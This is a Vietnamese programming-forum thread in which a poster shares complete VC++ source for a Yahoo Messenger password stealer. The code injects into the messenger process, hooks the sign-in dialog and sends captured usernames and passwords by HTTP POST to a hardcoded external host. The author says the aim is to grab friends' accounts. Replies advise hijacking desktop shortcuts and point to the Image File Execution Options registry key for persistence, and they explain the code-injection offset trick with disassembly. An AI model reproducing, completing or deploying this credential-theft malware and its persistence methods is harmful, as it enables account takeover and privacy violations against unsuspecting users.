Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Trang 1 của 2 12 CuốiCuối
Kết quả 1 đến 10 của 20
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Sâu đục yahoo viết bằng VC++, mới chế xong code

    Mã:
    // BuddyCatch.cpp : Defines the entry point for the application.////HTTP PACKET://Coded by Linh (^_^) #include "stdafx.h"#include <winsock2.h> typedef LRESULT (WINAPI *SENDMESSAGE)(HWND,UINT,WPARAM,LPARAM);typedef LRESULT (WINAPI *MSGBOX)(HWND,LPCSTR,LPCSTR,UINT);typedef LRESULT (WINAPI *SETWINDOWLONG)(HWND,INT,LONG);typedef HWND    (WINAPI *FINDWINDOWEX)(HWND,HWND,LPCTSTR,LPCTSTR);typedef LRESULT (WINAPI *SLEEP)(DWORD);typedef LRESULT (WINAPI *CALLWINDOWPROC)(WNDPROC,HWND,UINT,WPARAM,LPARAM);typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);typedef HMODULE (WINAPI *LOADLIBRARY)(LPCSTR);typedef FARPROC (WINAPI *GETPROCADDRESS)(HMODULE,LPCSTR);typedef HANDLE  (WINAPI *CREATETHREAD)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);typedef void    (WINAPI *COPYMEMORY)(PVOID,const VOID*,SIZE_T);  typedef int (WINAPI *WSASTARTUP)(WORD,LPWSADATA);typedef SOCKET (WINAPI *CREATESOCK)(int,int,int);typedef int (WINAPI *CONNECT)(SOCKET,const struct sockaddr*,int);typedef int (WINAPI *SEND)(SOCKET,const char*,int,int);typedef int (WINAPI *RECV)(SOCKET,const char*,int,int);typedef int (WINAPI *CLOSESOCKET)(SOCKET);typedef int (WINAPI *WSACLEANUP)(void); struct data{    SENDMESSAGE fnSendMessage;    MSGBOX fnMsgbox;    SETWINDOWLONG fnSetWindowLong;    FINDWINDOWEX fnFindWindowEx;    SLEEP fnSleep;    CALLWINDOWPROC fnCallWindowProc;    LOADLIBRARY fnLoadLibrary;    GETPROCADDRESS fnGetProcAddress;    CREATETHREAD fnCreateThread;    COPYMEMORY fnCopyMemory;    char strWsaStartUp[11];    char strSocket[7];    char strConnect[8];    char strSend[5];    char strRecv[5];    char strCloseSocket[12];    char strWsaCleanup[11];    char modulename[7];    char clsname[7];    char strEdit[5];    char ts[117];    char ts2[34];    char ts3[5];    HWND mainwnd;    WNDPROC WndProc;    void* SendThread;     HWND dlgwnd;    WNDPROC prevproc;    WSASTARTUP fnWsaStartUp;    CREATESOCK fnSocket;    CONNECT fnConnect;    SEND fnSend;    RECV fnRecv;    CLOSESOCKET fnCloseSocket;    WSACLEANUP fnWsaCleanup;    HWND txtUser;    HWND txtPass;    char user[100];    char pass[100];}; data* remotedat; static SendThread (data* dat){    char hexchar[] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};    char sendbuf[300];//17//116 33 4    int c;    for (c = 0; c <= 116; c++) sendbuf[c] = dat->ts[c];     int size = 0;    c = 0;    while (dat->pass[c] != 0)    {        if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@')            && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.'))            size+=3;        else        {            size+=1;        };        c++;    };    c = 0;    while (dat->user[c] != 0)    {        if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@')            && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.'))            size+=3;        else        {            size+=1;        };        c++;    };    c = 0;    size += 17;    int s2 = size;    while (s2 != 0) {s2 = s2 / 10; c++;};    int cur = 116 + c;    sendbuf[cur] = 0;    c--;    while (size != 0)    {        sendbuf[116 + c] = size % 10 + 48;        size = size / 10;        c--;    };    for (c = 0; c <= 33; c++) sendbuf[cur + c] = dat->ts2[c];    cur+= c - 1;     c = 0;    while (dat->user[c] != 0)    {        if (((dat->user[c] < 'a') || (dat->user[c] > 'z')) && ((dat->user[c] < 'A') || (dat->user[c] > 'Z')) && ((dat->user[c] < '0') || (dat->user[c] > '9')) && (dat->user[c] != '@')            && (dat->user[c] != '*') && (dat->user[c] != '-') && (dat->user[c] != '_') && (dat->user[c] != '.'))        {            sendbuf [cur] = '%';            sendbuf[cur + 1 ] = hexchar[dat->user[c] >> 4];            sendbuf[cur+2] = hexchar[dat->user[c] & 0xf];            cur+=3;        }        else        {            sendbuf[cur] = dat->user[c];            cur++;        };        c++;    };    for (c = 0; c <= 4; c++) sendbuf[cur + c] = dat->ts3[c];    cur+=c - 1;    c=0;    while (dat->pass[c] != 0)    {        if (((dat->pass[c] < 'a') || (dat->pass[c] > 'z')) && ((dat->pass[c] < 'A') || (dat->pass[c] > 'Z')) && ((dat->pass[c] < '0') || (dat->pass[c] > '9')) && (dat->pass[c] != '@')            && (dat->pass[c] != '*') && (dat->pass[c] != '-') && (dat->pass[c] != '_') && (dat->pass[c] != '.'))        {            sendbuf [cur] = '%';            sendbuf[cur + 1 ] = hexchar[dat->pass[c] >> 4];            sendbuf[cur+2] = hexchar[dat->pass[c] & 0xf];            cur+=3;        }        else        {            sendbuf[cur] = dat->pass[c];            cur++;        };        c++;    };    sendbuf[cur] = 0;     SOCKET sock = dat->fnSocket (AF_INET, SOCK_STREAM, IPPROTO_TCP);    sockaddr_in name;    name.sin_family = AF_INET;    name.sin_port = MAKEWORD (0, 80);    name.sin_addr.S_un.S_addr = MAKELONG (MAKEWORD (65,182), MAKEWORD (101,243));    dat->fnConnect (sock, (sockaddr*) &name, sizeof (sockaddr));    dat->fnSend (sock, &sendbuf[0], cur, 0);    char buf[100];    int ret = dat->fnRecv (sock, &buf[0], 100, 0);    dat->fnCloseSocket (sock);    dat->fnMsgbox (NULL, &sendbuf[0], NULL, MB_OK);};static void mark3(); static void Thread(data* dat){    bool sub = false;    BYTE* addr = (BYTE*) dat->WndProc;    addr+= 12;    long* a = (long*) addr;    *a = (long) dat;     HMODULE module = dat->fnLoadLibrary(&dat->modulename[0]);    dat->fnWsaStartUp = (WSASTARTUP) dat->fnGetProcAddress (module, dat->strWsaStartUp);    dat->fnSocket = (CREATESOCK) dat->fnGetProcAddress (module, dat->strSocket);    dat->fnConnect = (CONNECT) dat->fnGetProcAddress (module, dat->strConnect);    dat->fnSend = (SEND) dat->fnGetProcAddress (module, dat->strSend);    dat->fnRecv = (RECV) dat->fnGetProcAddress (module, dat->strRecv);    dat->fnCloseSocket = (CLOSESOCKET) dat->fnGetProcAddress (module, dat->strCloseSocket);    dat->fnWsaCleanup = (WSACLEANUP) dat->fnGetProcAddress (module, dat->strWsaCleanup);    BYTE wsadata[399];    dat->fnWsaStartUp (MAKEWORD (2,2), (WSADATA*) &wsadata[0]);     while (true)    {        dat->dlgwnd = dat->fnFindWindowEx (dat->mainwnd, NULL, &dat->clsname[0], NULL);        if (dat->dlgwnd)        {            if (!sub)             {                sub = true;                dat->txtUser = dat->fnFindWindowEx (dat->dlgwnd, NULL, dat->strEdit, NULL);                dat->txtPass = dat->fnFindWindowEx (dat->dlgwnd, dat->txtUser, dat->strEdit, NULL);                dat->prevproc = (WNDPROC) dat->fnSetWindowLong (dat->dlgwnd, GWL_WNDPROC,(long) dat->WndProc);            };        }        else        {            if (sub) sub = false;        };        dat->fnSleep (1);    };};static void mark (void) {}; static LRESULT CALLBACK WndProc (    HWND hwnd,        // handle to window    UINT uMsg,        // message identifier    WPARAM wParam,    // first message parameter    LPARAM lParam)    // second message parameter{    data* dat = (data*) 0x0a0b0c0d;    if ((uMsg == WM_COMMAND) && (LOBYTE (wParam) == IDOK))    {        dat->fnSendMessage (dat->txtUser, WM_GETTEXT, dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->user[0]);        dat->fnSendMessage (dat->txtPass, WM_GETTEXT, dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) + 1, (LPARAM) &dat->pass[0]);        if ((dat->fnSendMessage (dat->txtUser, WM_GETTEXTLENGTH, NULL, NULL) != 0) || (dat->fnSendMessage (dat->txtPass, WM_GETTEXTLENGTH, NULL, NULL) != 0))            dat->fnCreateThread (NULL, NULL,(LPTHREAD_START_ROUTINE) dat->SendThread, (LPVOID) dat, NULL, NULL);        };    return dat->fnCallWindowProc((WNDPROC) dat->prevproc, hwnd, uMsg, wParam, lParam);  } static void mark2(void) {}; int APIENTRY WinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPSTR     lpCmdLine,                     int       nCmdShow){    int size;    HINSTANCE hUser32 = GetModuleHandle ("User32");    HINSTANCE hKernel = GetModuleHandle ("Kernel32");    HANDLE ht;    DWORD tid, ret, pid;     data dat =     {        (SENDMESSAGE) GetProcAddress (hUser32, "SendMessageA"),        (MSGBOX) GetProcAddress (hUser32, "MessageBoxA"),        (SETWINDOWLONG) GetProcAddress (hUser32, "SetWindowLongA"),        (FINDWINDOWEX) GetProcAddress (hUser32, "FindWindowExA"),        (SLEEP) GetProcAddress (hKernel, "Sleep"),        (CALLWINDOWPROC) GetProcAddress (hUser32, "CallWindowProcA"),        (LOADLIBRARY) GetProcAddress (hKernel, "LoadLibraryA"),        (GETPROCADDRESS) GetProcAddress (hKernel, "GetProcAddress"),        (CREATETHREAD) GetProcAddress (hKernel, "CreateThread"),        (COPYMEMORY) GetProcAddress (hKernel, "CopyMemory"),        "WSAStartup",        "socket",        "connect",        "send",        "recv",        "closesocket",        "WSACleanup",        "ws2_32",        "#32770",        "Edit",        "POST /post.asp HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Host: linhz96.brinkster.net
    Content-Length: ",        "
    Connection: Close
    
    B1=Submit&T1=",        "&T2=",        FindWindow ("YahooBuddyMain", NULL)    };    GetWindowThreadProcessId (dat.mainwnd, &pid);    HANDLE hp = OpenProcess (PROCESS_ALL_ACCESS, FALSE,pid);     size = (LPBYTE) mark2 - (LPBYTE) WndProc;    dat.WndProc = (WNDPROC) VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    WriteProcessMemory (hp, (LPVOID) dat.WndProc, WndProc, size, &ret);//  show ((long) dat.WndProc);     size =  size = (LPBYTE) mark2 - (LPBYTE) SendThread;    dat.SendThread = VirtualAllocEx(hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    WriteProcessMemory (hp, (LPVOID) dat.SendThread, SendThread, size, &ret);//  show ((long) dat.SendThread);     remotedat = (data*) VirtualAllocEx(hp, 0, sizeof(data), MEM_COMMIT, PAGE_EXECUTE_READWRITE);    WriteProcessMemory(hp, remotedat, &dat, sizeof(data), &ret);//  show ((long) remotedat);     size = ((LPBYTE) mark - (LPBYTE) Thread);    DWORD* remotecode = (DWORD*) VirtualAllocEx (hp, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    WriteProcessMemory (hp, remotecode, Thread, size, &ret);//  show ((long) remotecode);     ht = CreateRemoteThread (hp, NULL, 0,                 (LPTHREAD_START_ROUTINE) remotecode,                remotedat, 0 , &tid);     WaitForSingleObject (ht, INFINITE);    CloseHandle (hp);    return 0;}
    Cái này sẽ inject code vào yahoo, bắt pass và nick, gửi đến đây: linhz96.brinkster.net/get.asp. Nó sẽ chi làm nhiệm vụ inject, xong sẽ kết thúc CT, việc còn lại để cho các code được Inject lo.
    Em làm cái này với mục đích lấy pass, nick yahoo trêu chúng nó chơi chứ ko có ý làm gì to tát đâu nhá.
    Nhưng mới xong phần chính, em định để CT chạy mỗi khi yahoo chạy nhưng ko biết làm thế nào. Gói file chạy này vào 1 file chạy khác. File gói vào được máy nó sẽ tung file bên trong ra, đổi tên file yahoo thành tên khác, ẩn đi rồi đổi tên CT của mình thành tên file của yahoo. Nhưng làm vậy thì ImageName của yahoo sẽ khác, nó nghi ngờ mất. Rồi nhỡ Yahoo đang chạy thì ko đổi được tên... Nhiều rắc rối quá. Ai cho em 1 giải pháp tối ưu nhỉ.

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Hãy xét xem trên màn hình desktop có shortcut của yahoo không. Nếu có thì move nó vào đâu đó thay mình vào. Sau đó viết tiếp: Nếu mình bị khởi động từ desktop thì đổi tên yahoo, copy mình vào thế chỗ yahoo, khởi động yahoo giả, tắt mình, nếu mình bị khởi động trong folder của yahoo thì khởi động tiếp yahoo, xóa mình ở desktop move shortcut của yahoo lên desktop.
    Lòng vòng nhưng chắc hiệu quả, có gì sai sót thì bạn tự bổ sung. Ý tưởng thì như vậy.
    Ah này! Nể tình anh em trong mã nguồn nên tránh xa những yahoo nick có tên bắt đầu bằng ms, ptn, nampt nhé! Cám ơn!

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Em thử rồi, nếu đổi tên file chạy thật của yahoo thành tên khác thì 1 số cái sẽ ko dùng được như ko gửi file được, thỉnh thoảng lại báo lỗi... Bây h chắc chỉ còn cách tìm tất cả các shortcut trên máy nó rồi đổi lại cho nó dẫn đến CT của mình, rồi CT của mình sẽ chạy yahoo (vì bình thường chả ai vào tận thư mục của yahoo để chạy yahoo messenger cả !!).

  4. #4
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Code này cậu viết 100% đấy à, hoanglinh. Đã test kỹ chưa vậy ?

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Test kĩ lắm rồi với Y!M 8, code tự viết 100% (cũng khá đau đầu đấy, rất nhiều vấn đề cần giải quyết [IMG]images/smilies/smile.png[/IMG]). Nếu ai lấy về thử thì nhớ chạy yahoo trước khi chạy cái này. Nó chỉ làm nhiệm vụ inject code thôi chứ ko làm gì khác cả !!! (CHÚ Ý: để code hoạt động phải bỏ tủy chọn /GZ ở Project->Settings-> tab C/C++ -> Project Options, vì cái này mà phải khốn khổ mấy ngày)
    Chi tiết xem ở đây: http://www.codeproject.com/threads/winspy.asp

  6. #6
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Cậu giải thích giùm tui đoạn code này làm gì, căn cứ vào gì vì tui không hiểu:
    Mã:
    BYTE* addr = (BYTE*) dat->WndProc;
    addr+= 12;
    long* a = (long*) addr;
    *a = (long) dat;
    Cảm ơn !

  7. #7
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Cái này hơi phức tạp 1 chút. Code được inject vào sẽ subclass parent window của nút signin của yahoo. Như vậy sẽ cần có 1 hàm mới dành cho cửa sổ được subclass. Trong hàm này sẽ cần dùng 1 số thông tin ở trong inject data. Nhưng vì nguyên mẫu hàm của 1 window proc là (HWND, UINT, WPARAM, LPARAM) ko thể thay đổi được nên ko thể truyền được địa chỉ của inject data để sử dụng trong hàm bằng cách truyền tham số. Có 2 cách được để cập ở trong bài viết của codeproject để giải quyết vấn đề này. Em sử dụng cách thứ 2.

    Chú ý dòng này ở trong windowproc:

    Mã:
    data* dat = (data*) 0x0a0b0c0d;
    Khai báo biến con trỏ đến inject data là *dat ở trong windowproc để subclass. Hiện dat chưa có địa chỉ đúng (0x0a0b0c0d chỉ là để đánh dấu) và windowproc này chưa được dùng để subclass. Ta sẽ dùng Thread ban đầu đã được inject để ghi đè địa chỉ thực của inject data vào 0x0a0b0c0d. Ta đã biết địa chỉ của windowproc, vậy ta cần biết được khoảng cách của giá trị 0x0a0b0c0d so với byte đầu tiên của hàm để ghi đè giá trị thực vào. Để biết vị trí của giá trị 0x0a0b0c0d trong hàm windowproc có nhiều cách, đơn giản nhất là xem toàn bộ nội dung hàm windowproc theo từng byte (có thể dùng 1 hàm để đọc và hiện ra ). Nhìn xem đoạn giá trị 10 11 12 13 nó cách giá trị đầu tiên bao nhiêu thì đó chính là khoảng cách, đêm thấy đó là 12. Và đoạn code trong hàm Thread được Inject:
    Mã:
    BYTE* addr = (BYTE*) dat->WndProc;  //trỏ đến byte đầu tiên của windowproc
    addr+= 12;                        //Tăng con trỏ lên 12 để trỏ đến 0x0a0b0c0d
    long* a = (long*) addr;       //Địa chỉ của inject data là 1 số 4 byte
    *a = (long) dat;                //Ghi đè địa chỉ thực lên 0x0a0b0c0d
    Sẽ làm nhiệm vụ ghi đè giá trị thực của inject data vào chỗ 0x0a0b0c0d.

    Đó chính là chỗ khó của kĩ thuật inject.

  8. #8
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Tại sao phải là 12, mà không là 8, 16, 20. Trong stack của WndProc của cậu đang chứa cái gì, từ ESP, ESP + 4, ESP + 8, ESP + 12, ....cậu mô tả rõ ra đi, mã ASM nó ra sao, và nếu code này được compile = compiler # với của cậu thì ra sao, liệu có còn là 12 nữa không. VD code này được compiler trên C++Builder, VC++6, VS 2003, 2005.
    Khi WndProc được gọi thì cái gì được push vào stack trước khi vào entrypoint của hàm, và prologue của hàm push cái gì vào statck.

  9. #9
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Ơ anh này hay nhể, đếm thấy nó là 12 thì biết nó là 12 chứ còn biết tại sao.
    Mã asm đây nhá.

    Mã:
    225:   LRESULT CALLBACK WndProc (
    226:      HWND hwnd,        // handle to window
    227:      UINT uMsg,        // message identifier
    228:      WPARAM wParam,    // first message parameter
    229:      LPARAM lParam)    // second message parameter
    230:  {
    00401120 55                   push        ebp
    00401121 8B EC                mov         ebp,esp
    00401123 83 EC 44             sub         esp,44h
    00401126 53                   push        ebx
    00401127 56                   push        esi
    00401128 57                   push        edi
    231:      data* dat = (data*) 0x0a0b0c0d;
    00401129 C7 45 FC 0D 0C 0B 0A mov         dword ptr [ebp-4],0A0B0C0Dh
    232:      if ((uMsg == WM_COMMAND) && (LOBYTE (wParam) == IDOK))
    00401130 81 7D 0C 11 01 00 00 cmp         dword ptr [ebp+0Ch],111h
    .......
    Đấy anh thấy ko, từ byte đầu tiên của hàm: push ebp có mã là 55.
    đến đoạn giá trị 0x0a0b0c0d là 0D 0C 0B 0A, đếm thấy nó là 12 [IMG]images/smilies/smile.png[/IMG]

    Còn với các trình dịch khác thì chắc là nó sẽ khác. Nhưng khi dịch ra file exe rồi, chạy thấy nó hoạt động tốt thì biết nó đúng thôi.

    Còn đây là thứ tự hoạt động khi đã được inject hết vào yahoo nhá:
    -Đầu tiên hàm Thread sẽ được chạy, tham số của hàm này là địa chỉ của data được inject. Nó sẽ ghi đè giá trị này vào giá trị 0x0a0b0c0d trong hàm WndProc.
    -Kiểm tra xem có nút sign in ko, nếu có thì sẽ subclass cái nút đó = hàm WndProc (đã được sửa rồi).

    Đó thế thôi, đơn giản dễ hiểu mà [IMG]images/smilies/smile.png[/IMG]

  10. #10
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Không phải là tui không hiểu, article này tui đọc từ lâu lắc rồi, từ cái thời sáng nào vào cty cũng bỏ gần 2h đọc CodeProject. Tui chỉ hỏi là để chắc chắn code này có phải cậu viết hay không, và cậu có hiểu rõ về nó hay không.
    Hỏi cậu tiếp, option /GZ có mục đích gì, làm thay đổi gì trong code ASM WndProc của cậu, và tại sao WndProc sẽ bị crash với option này. Cậu đang dùng VC++6 phải không ?
    Thay vì đếm 12, cậu có cách nào khác để tìm offset của 0x0A0B0C0D trong memory của WndProc hay không, khi start address của WndProc cậu biết, size của nó cậu cũng đã biết. Không nên hardcode. Article cũng đang dùng cách này, và tui không đồng ý lắm, thấy hơi workaround và tà đạo.
    Còn cái cậu hỏi, tui có thể gợi ý cho cậu, nhưng hy vọng là cậu chỉ dùng với mục đích học tập, chứ không quậy phá. Tui vô cùng ghét cái đám nhóc viết virus. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Your Image File Name Here without a path.
    À sẵn tiện hỏi, khi cậu inject 1 thread vào 1 process, làm sao detect và kill thread đó.

 

 
Trang 1 của 2 12 CuốiCuối

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •